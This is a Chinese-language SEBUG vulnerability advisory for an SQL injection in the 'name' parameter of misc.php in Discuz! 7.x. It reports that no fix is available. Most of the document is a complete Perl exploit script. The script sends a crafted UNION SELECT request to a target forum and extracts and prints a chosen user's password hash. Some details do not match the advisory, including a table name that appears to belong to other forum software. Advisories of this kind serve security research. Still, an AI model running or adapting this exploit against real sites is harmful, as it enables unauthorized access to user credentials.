Discuz! 'name'参数SQL注入漏洞
2010年1月23日星期六 | | |SSV ID:15193
SEBUG-Appdir:Discuz!
发布时间:2010-01-02
影响版本:
Comsenz Discuz! 7.x
漏洞描述:
Bugraq ID: 37556 Comsenz Discuz!是一款流行的论坛程序。 Comsenz Discuz!存在输入验证错误，远程攻击者可以利用漏洞进行SQL注入攻击，获得密码HASH等敏感信息。 问题是'misc.php'脚本对'name'参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
#!/usr/bin/perl use IO::Socket; print q{ ###################################################### # Discuz Remote SQL Injection Exploit # # By indoushka # # www.iq-ty.com # # Souk Naamane (00213771818860) # # Algeria Hackerz ([email protected]) # # Dork:Powered by Discuz! 1.0 © 2002,Crossday Studio # ###################################################### }; if (!$ARGV[2]) { print q{ Usage: perl Discuz.pl host /directory/ victim_userid perl Discuz.pl www.Discuz.com /forum/ 1 }; } $server = $ARGV[0]; $dir = $ARGV[1]; $user = $ARGV[2]; $myuser = $ARGV[3]; $mypass = $ARGV[4]; $myid = $ARGV[5]; print "------------------------------------------------------------------------------------------------\r\n"; print "[>] SERVER: $server\r\n"; print "[>] DIR: $dir\r\n"; print "[>] USERID: $user\r\n"; print "------------------------------------------------------------------------------------------------\r\n\r\n"; $server =~ s/(http:\/\/)//eg; $path = $dir; $path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ; print "[~] PREPARE TO CONNECT...\r\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED"; print "[+] CONNECTED\r\n"; print "[~] SENDING QUERY...\r\n"; print $socket "GET $path HTTP/1.1\r\n"; print $socket "Host: $server\r\n"; print $socket "Accept: */*\r\n"; print $socket "Connection: close\r\n\r\n"; print "[+] DONE!\r\n\r\n"; print "--[ REPORT ]------------------------------------------------------------------------------------\r\n"; while ($answer = <$socket>) { if ($answer =~/(\w{32})/) { if ($1 ne 0) { print "Password Hash is: ".$1."\r\n"; print "--------------------------------------------------------------------------------------\r\n"; } exit(); } } print "------------------------------------------------------------------------------------------------\r\n"; SEBUG安全建议:
目前没有解决方案提供： http://www.discuz.com/
// sebug.net [2010-01-06]
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